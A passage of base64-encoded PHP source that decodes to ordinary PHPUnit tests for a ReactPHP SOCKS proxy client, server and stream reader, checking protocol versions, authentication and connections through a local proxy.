HVlKSB1c2UgKCR0aGF0KSB7CiAgICAgICAgICAgICR0aGF0LT5hc3NlcnROdWxsKCR2YWx1ZSk7CiAgICAgICAgICAgICR0aGF0LT5mYWlsKCdwcm9taXNlIHJlc29sdmVkJyk7CiAgICAgICAgfSk7CgogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSk7CgogICAgICAgIHJldHVybiAkcHJvbWlzZTsKICAgIH0KfQoKY2xhc3MgQ2FsbGFibGVTdHViCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgpCiAgICB7CiAgICB9Cn0KPD9waHAKCnVzZSBDbHVlXFJlYWN0XFNvY2tzXENsaWVudDsKCmNsYXNzIENsaWVudFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICAvKiogQHZhciAgQ2xpZW50ICovCiAgICBwcml2YXRlICRjbGllbnQ7CgogICAgcHVibGljIGZ1bmN0aW9uIHNldFVwKCkKICAgIHsKICAgICAgICAkbG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKICAgICAgICAkdGhpcy0+Y2xpZW50ID0gbmV3IENsaWVudCgkbG9vcCwgJzEyNy4wLjAuMScsIDkwNTApOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRBdXRoSW5mb3JtYXRpb24oKQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQtPnNldEF1dGgoc3RyX3JlcGVhdCgnYScsIDI1NiksICd0ZXN0Jyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZXhwZWN0ZWRFeGNlcHRpb24gVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uCiAgICAgKiBAZGF0YVByb3ZpZGVyIHByb3ZpZGVySW52YWxpZEF1dGhWZXJzaW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0SW52YWxpZEF1dGhWZXJzaW9uKCR2ZXJzaW9uKQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQtPnNldEF1dGgoJ3VzZXJuYW1lJywgJ3Bhc3N3b3JkJyk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKCR2ZXJzaW9uKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJvdmlkZXJJbnZhbGlkQXV0aFZlcnNpb24oKQogICAgewogICAgICAgIHJldHVybiBhcnJheShhcnJheSgnNCcpLCBhcnJheSgnNGEnKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RWYWxpZEF1dGhWZXJzaW9uKCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRBdXRoKCd1c2VybmFtZScsICdwYXNzd29yZCcpOwogICAgICAgICR0aGlzLT5hc3NlcnROdWxsKCR0aGlzLT5jbGllbnQtPnNldFByb3RvY29sVmVyc2lvbig1KSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZXhwZWN0ZWRFeGNlcHRpb24gVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0SW52YWxpZENhbk5vdFNldEF1dGhlbnRpY2F0aW9uRm9yU29ja3M0KCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oNCk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0QXV0aCgndXNlcm5hbWUnLCAncGFzc3dvcmQnKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFVuc2V0QXV0aCgpCiAgICB7CiAgICAgICAgLy8gdW5zZXQgYXV0aCBldmVuIGlmIGl0J3Mgbm90IHNldCBpcyB2YWxpZAogICAgICAgICR0aGlzLT5jbGllbnQtPnVuc2V0QXV0aCgpOwoKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRBdXRoKCd1c2VybmFtZScsICdwYXNzd29yZCcpOwogICAgICAgICR0aGlzLT5jbGllbnQtPnVuc2V0QXV0aCgpOwogICAgfQoKICAgIC8qKgogICAgICogQGRhdGFQcm92aWRlciBwcm92aWRlclZhbGlkUHJvdG9jb2xWZXJzaW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0VmFsaWRQcm90b2NvbFZlcnNpb24oJHZlcnNpb24pCiAgICB7CiAgICAgICAgJHRoaXMtPmFzc2VydE51bGwoJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKCR2ZXJzaW9uKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHByb3ZpZGVyVmFsaWRQcm90b2NvbFZlcnNpb24oKQogICAgewogICAgICAgIHJldHVybiBhcnJheShhcnJheSgnNCcpLCBhcnJheSgnNGEnKSwgYXJyYXkoJzUnKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZXhwZWN0ZWRFeGNlcHRpb24gSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0SW52YWxpZFByb3RvY29sVmVyc2lvbigpCiAgICB7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKDMpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0VmFsaWRSZXNvbHZlTG9jYWwoKQogICAgewogICAgICAgICR0aGlzLT5hc3NlcnROdWxsKCR0aGlzLT5jbGllbnQtPnNldFJlc29sdmVMb2NhbChmYWxzZSkpOwogICAgICAgICR0aGlzLT5hc3NlcnROdWxsKCR0aGlzLT5jbGllbnQtPnNldFJlc29sdmVMb2NhbCh0cnVlKSk7CiAgICAgICAgJHRoaXMtPmFzc2VydE51bGwoJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKCc0JykpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRSZXNvbHZlUmVtb3RlKCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oJzQnKTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRSZXNvbHZlTG9jYWwoZmFsc2UpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRSZXNvbHZlUmVtb3RlVmVyc2lvbigpCiAgICB7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UmVzb2x2ZUxvY2FsKGZhbHNlKTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oJzQnKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFNldFRpbWVvdXQoKQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQtPnNldFRpbWVvdXQoMSk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0VGltZW91dCgyLjApOwogICAgICAgICR0aGlzLT5jbGllbnQtPnNldFRpbWVvdXQoMyk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDcmVhdGVDb25uZWN0b3IoKQogICAgewogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdcUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZScsICR0aGlzLT5jbGllbnQtPmNyZWF0ZUNvbm5lY3RvcigpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdENyZWF0ZVNlY3VyZUNvbm5lY3RvcigpCiAgICB7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1xSZWFjdFxTb2NrZXRDbGllbnRcU2VjdXJlQ29ubmVjdG9yJywgJHRoaXMtPmNsaWVudC0+Y3JlYXRlU2VjdXJlQ29ubmVjdG9yKCkpOwogICAgfQoKICAgIC8qKgogICAgICogQGRhdGFQcm92aWRlciBwcm92aWRlckFkZHJlc3MKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RHZXRDb25uZWN0aW9uKCRob3N0LCAkcG9ydCkKICAgIHsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignXFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICR0aGlzLT5jbGllbnQtPmdldENvbm5lY3Rpb24oJGhvc3QsICRwb3J0KSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHByb3ZpZGVyQWRkcmVzcygpCiAgICB7CiAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICBhcnJheSgnbG9jYWxob3N0JywnODAnKSwKICAgICAgICAgICAgYXJyYXkoJ2ludmFsaWQgZG9tYWluJywnbm9uLW51bWVyaWMnKQogICAgICAgICk7CiAgICB9Cn0KPD9waHAKCnVzZSBSZWFjdFxTdHJlYW1cU3RyZWFtOwp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDbGllbnQ7CnVzZSBDbHVlXFJlYWN0XFNvY2tzXFNlcnZlcjsKdXNlIFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZTsKCmNsYXNzIEZ1bmN0aW9uYWxUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgcHJpdmF0ZSAkbG9vcDsKICAgIHByaXZhdGUgJGNsaWVudDsKICAgIHByaXZhdGUgJHNlcnZlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VXAoKQogICAgewogICAgICAgICR0aGlzLT5sb29wID0gUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwoKICAgICAgICAkc29ja2V0ID0gJHRoaXMtPmNyZWF0ZVNvY2tldFNlcnZlcigpOwogICAgICAgICRwb3J0ID0gJHNvY2tldC0+Z2V0UG9ydCgpOwogICAgICAgICR0aGlzLT5hc3NlcnROb3RFcXVhbHMoMCwgJHBvcnQpOwoKICAgICAgICAkdGhpcy0+c2VydmVyID0gbmV3IFNlcnZlcigkdGhpcy0+bG9vcCwgJHNvY2tldCk7CiAgICAgICAgJHRoaXMtPmNsaWVudCA9IG5ldyBDbGllbnQoJHRoaXMtPmxvb3AsICcxMjcuMC4wLjEnLCAkcG9ydCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uKCkKICAgIHsKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uU29ja3M0KCkKICAgIHsKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNCk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKDQpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uU29ja3M1KCkKICAgIHsKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNSk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKDUpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uSW52YWxpZFNvY2tzNGFSZW1vdGUoKQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQtPnNldFByb3RvY29sVmVyc2lvbignNGEnKTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRSZXNvbHZlTG9jYWwoZmFsc2UpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uU29ja3M1UmVtb3RlKCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oNSk7CiAgICAgICAgJHRoaXMtPmNsaWVudC0+c2V0UmVzb2x2ZUxvY2FsKGZhbHNlKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFJlc29sdmVTdHJlYW0oJHRoaXMtPmNsaWVudC0+Z2V0Q29ubmVjdGlvbignd3d3Lmdvb2dsZS5jb20nLCA4MCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0Q29ubmVjdGlvbkF1dGhlbnRpY2F0aW9uKCkKICAgIHsKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRBdXRoQXJyYXkoYXJyYXkoJ25hbWUnID0+ICdwYXNzJykpOwogICAgICAgICR0aGlzLT5jbGllbnQtPnNldEF1dGgoJ25hbWUnLCAncGFzcycpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uQXV0aGVudGljYXRpb25VbnVzZWQoKQogICAgewogICAgICAgICR0aGlzLT5jbGllbnQtPnNldEF1dGgoJ25hbWUnLCAncGFzcycpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkdGhpcy0+Y2xpZW50LT5nZXRDb25uZWN0aW9uKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0aW9uSW52YWxpZFByb3RvY29sTWlzbWF0Y2goKQogICAgewogICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldFByb3RvY29sVmVyc2lvbig1KTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oNCk7CgogICAgICAgICR0aGlzLT5hc3NlcnRSZWplY3RQcm9taXNlKCR0aGlzLT5jbGllbnQtPmdldENvbm5lY3Rpb24oJ3d3dy5nb29nbGUuY29tJywgODApKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdENvbm5lY3Rpb25JbnZhbGlkTm9BdXRoZW50aWNhdGlvbigpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0QXV0aEFycmF5KGFycmF5KCduYW1lJyA9PiAncGFzcycpKTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRQcm90b2NvbFZlcnNpb24oNSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRSZWplY3RQcm9taXNlKCR0aGlzLT5jbGllbnQtPmdldENvbm5lY3Rpb24oJ3d3dy5nb29nbGUuY29tJywgODApKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdENvbm5lY3Rpb25JbnZhbGlkQXV0aGVudGljYXRpb25NaXNtYXRjaCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0QXV0aEFycmF5KGFycmF5KCduYW1lJyA9PiAncGFzcycpKTsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRBdXRoKCd1c2VyJywgJ290aGVyJyk7CgogICAgICAgICR0aGlzLT5hc3NlcnRSZWplY3RQcm9taXNlKCR0aGlzLT5jbGllbnQtPmdldENvbm5lY3Rpb24oJ3d3dy5nb29nbGUuY29tJywgODApKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdENvbm5lY3Rvck9rYXkoKQogICAgewogICAgICAgICR0Y3AgPSAkdGhpcy0+Y2xpZW50LT5jcmVhdGVDb25uZWN0b3IoKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFJlc29sdmVTdHJlYW0oJHRjcC0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0b3JJbnZhbGlkRG9tYWluKCkKICAgIHsKICAgICAgICAkdGNwID0gJHRoaXMtPmNsaWVudC0+Y3JlYXRlQ29ubmVjdG9yKCk7CgogICAgICAgICR0aGlzLT5hc3NlcnRSZWplY3RQcm9taXNlKCR0Y3AtPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb21tbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RDb25uZWN0b3JJbnZhbGlkVW5ib3VuZFBvcnRUaW1lb3V0KCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRUaW1lb3V0KDAuMSk7CiAgICAgICAgJHRjcCA9ICR0aGlzLT5jbGllbnQtPmNyZWF0ZUNvbm5lY3RvcigpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVqZWN0UHJvbWlzZSgkdGNwLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODA4MCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0U2VjdXJlQ29ubmVjdG9yT2theSgpCiAgICB7CiAgICAgICAgJHNzbCA9ICR0aGlzLT5jbGllbnQtPmNyZWF0ZVNlY3VyZUNvbm5lY3RvcigpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVzb2x2ZVN0cmVhbSgkc3NsLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgNDQzKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RTZWN1cmVDb25uZWN0b3JJbnZhbGlkUGxhaW50ZXh0SXNOb3RTc2woKQogICAgewogICAgICAgICRzc2wgPSAkdGhpcy0+Y2xpZW50LT5jcmVhdGVTZWN1cmVDb25uZWN0b3IoKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFJlamVjdFByb21pc2UoJHNzbC0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RTZWN1cmVDb25uZWN0b3JJbnZhbGlkVW5ib3VuZFBvcnRUaW1lb3V0KCkKICAgIHsKICAgICAgICAkdGhpcy0+Y2xpZW50LT5zZXRUaW1lb3V0KDAuMSk7CiAgICAgICAgJHNzbCA9ICR0aGlzLT5jbGllbnQtPmNyZWF0ZVNlY3VyZUNvbm5lY3RvcigpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UmVqZWN0UHJvbWlzZSgkc3NsLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODA4MCkpOwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gY3JlYXRlU29ja2V0U2VydmVyKCkKICAgIHsKICAgICAgICAkc29ja2V0ID0gbmV3IFJlYWN0XFNvY2tldFxTZXJ2ZXIoJHRoaXMtPmxvb3ApOwogICAgICAgICRzb2NrZXQtPmxpc3RlbigwKTsKCiAgICAgICAgcmV0dXJuICRzb2NrZXQ7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBhc3NlcnRSZXNvbHZlU3RyZWFtKCRwcm9taXNlKQogICAgewogICAgICAgICR0aGlzLT5leHBlY3RQcm9taXNlUmVzb2x2ZSgkcHJvbWlzZSk7CgogICAgICAgICRwcm9taXNlLT50aGVuKGZ1bmN0aW9uICgkc3RyZWFtKSB7CiAgICAgICAgICAgICRzdHJlYW0tPmNsb3NlKCk7CiAgICAgICAgfSk7CgogICAgICAgICR0aGlzLT53YWl0Rm9yKCRwcm9taXNlKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFzc2VydFJlamVjdFByb21pc2UoJHByb21pc2UpCiAgICB7CiAgICAgICAgJHRoaXMtPmV4cGVjdFByb21pc2VSZWplY3QoJHByb21pc2UpOwoKICAgICAgICAkdGhpcy0+c2V0RXhwZWN0ZWRFeGNlcHRpb24oJ0V4Y2VwdGlvbicpOwogICAgICAgICR0aGlzLT53YWl0Rm9yKCRwcm9taXNlKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHdhaXRGb3IoUHJvbWlzZUludGVyZmFjZSAkcHJvbWlzZSkKICAgIHsKICAgICAgICAkcmVzb2x2ZWQgPSBudWxsOwogICAgICAgICRleGNlcHRpb24gPSBudWxsOwoKICAgICAgICAkcHJvbWlzZS0+dGhlbihmdW5jdGlvbiAoJGMpIHVzZSAoJiRyZXNvbHZlZCkgewogICAgICAgICAgICAkcmVzb2x2ZWQgPSAkYzsKICAgICAgICB9LCBmdW5jdGlvbigkZXJyb3IpIHVzZSAoJiRleGNlcHRpb24pIHsKICAgICAgICAgICAgJGV4Y2VwdGlvbiA9ICRlcnJvcjsKICAgICAgICB9KTsKCiAgICAgICAgd2hpbGUgKCRyZXNvbHZlZCA9PT0gbnVsbCAmJiAkZXhjZXB0aW9uID09PSBudWxsKSB7CiAgICAgICAgICAgICR0aGlzLT5sb29wLT50aWNrKCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJGV4Y2VwdGlvbiAhPT0gbnVsbCkgewogICAgICAgICAgICB0aHJvdyAkZXhjZXB0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXNvbHZlZDsKICAgIH0KfQo8P3BocAoKdXNlIENsdWVcUmVhY3RcU29ja3NcU3RyZWFtUmVhZGVyOwoKY2xhc3MgU3RyZWFtUmVhZGVyVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIHByaXZhdGUgJHJlYWRlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VXAoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXIgPSBuZXcgU3RyZWFtUmVhZGVyKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RSZWFkQnl0ZUFzc2VydENvcnJlY3QoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRCeXRlQXNzZXJ0KDB4MDEpLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoMHgwMSkpOwoKICAgICAgICAkdGhpcy0+cmVhZGVyLT53cml0ZSgiXHgwMSIpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVhZEJ5dGVBc3NlcnRJbnZhbGlkKCkKICAgIHsKICAgICAgICAkdGhpcy0+cmVhZGVyLT5yZWFkQnl0ZUFzc2VydCgweDAyKS0+dGhlbihudWxsLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCkpOwoKICAgICAgICAkdGhpcy0+cmVhZGVyLT53cml0ZSgiXHgwMyIpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVhZFN0cmluZ051bGwoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRTdHJpbmdOdWxsKCktPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgnaGVsbG8nKSk7CgogICAgICAgICR0aGlzLT5yZWFkZXItPndyaXRlKCJoZWxsb1x4MDAiKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlYWRTdHJpbmdMZW5ndGgoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRMZW5ndGgoNSktPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgnaGVsbG8nKSk7CgogICAgICAgICR0aGlzLT5yZWFkZXItPndyaXRlKCdoZScpOwogICAgICAgICR0aGlzLT5yZWFkZXItPndyaXRlKCdsbCcpOwogICAgICAgICR0aGlzLT5yZWFkZXItPndyaXRlKCdvICcpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0RXF1YWxzKCcgJywgJHRoaXMtPnJlYWRlci0+Z2V0QnVmZmVyKCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVhZEJ1ZmZlcmVkKCkKICAgIHsKICAgICAgICAkdGhpcy0+cmVhZGVyLT53cml0ZSgnaGVsbG8nKTsKCiAgICAgICAgJHRoaXMtPnJlYWRlci0+cmVhZExlbmd0aCg1KS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCdoZWxsbycpKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydEVxdWFscygnJywgJHRoaXMtPnJlYWRlci0+Z2V0QnVmZmVyKCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0U2VxdWVuY2UoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRCeXRlKCktPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZShvcmQoJ2gnKSkpOwogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRCeXRlQXNzZXJ0KG9yZCgnZScpKS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKG9yZCgnZScpKSk7CiAgICAgICAgJHRoaXMtPnJlYWRlci0+cmVhZExlbmd0aCg0KS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCdsbG8gJykpOwogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRCaW5hcnkoYXJyYXkoJ3cnPT4nQycsICdvJyA9PiAnQycpKS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKGFycmF5KCd3JyA9PiBvcmQoJ3cnKSwgJ28nID0+IG9yZCgnbycpKSkpOwoKICAgICAgICAkdGhpcy0+cmVhZGVyLT53cml0ZSgnaGVsbG8gd29ybGQnKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydEVxdWFscygncmxkJywgJHRoaXMtPnJlYWRlci0+Z2V0QnVmZmVyKCkpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRTdHJ1Y3R1cmUoKQogICAgewogICAgICAgICR0aGlzLT5yZWFkZXItPnJlYWRCaW5hcnkoYXJyYXkoJ2ludmFsaWQnID0+ICd5JykpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRDYWxsYmFjaygpCiAgICB7CiAgICAgICAgJHRoaXMtPnJlYWRlci0+cmVhZEJ1ZmZlckNhbGxiYWNrKGFycmF5KCkpOwogICAgfQp9Cjw/cGhwCgp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xTZXJ2ZXI7CgpjbGFzcyBTZXJ2ZXJUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB2YXIgU2VydmVyICovCiAgICBwcml2YXRlICRzZXJ2ZXI7CgogICAgcHVibGljIGZ1bmN0aW9uIHNldFVwKCkKICAgIHsKICAgICAgICAkc29ja2V0ID0gJHRoaXMtPmdldE1vY2tCdWlsZGVyKCdSZWFjdFxTb2NrZXRcU2VydmVyJykKICAgICAgICAgICAgLT5kaXNhYmxlT3JpZ2luYWxDb25zdHJ1Y3RvcigpCiAgICAgICAgICAgIC0+Z2V0TW9jaygpOwoKICAgICAgICAkbG9vcCA9ICR0aGlzLT5nZXRNb2NrQnVpbGRlcignUmVhY3RcRXZlbnRMb29wXFN0cmVhbVNlbGVjdExvb3AnKQogICAgICAgICAgICAtPmRpc2FibGVPcmlnaW5hbENvbnN0cnVjdG9yKCkKICAgICAgICAgICAgLT5nZXRNb2NrKCk7CgogICAgICAgICRjb25uZWN0b3IgPSAkdGhpcy0+Z2V0TW9ja0J1aWxkZXIoJ1JlYWN0XFNvY2tldENsaWVudFxDb25uZWN0b3InKQogICAgICAgICAgICAtPmRpc2FibGVPcmlnaW5hbENvbnN0cnVjdG9yKCkKICAgICAgICAgICAgLT5nZXRNb2NrKCk7CgogICAgICAgICR0aGlzLT5zZXJ2ZXIgPSBuZXcgU2VydmVyKCRsb29wLCAkc29ja2V0LCAkY29ubmVjdG9yKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFNldFByb3RvY29sVmVyc2lvbigpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2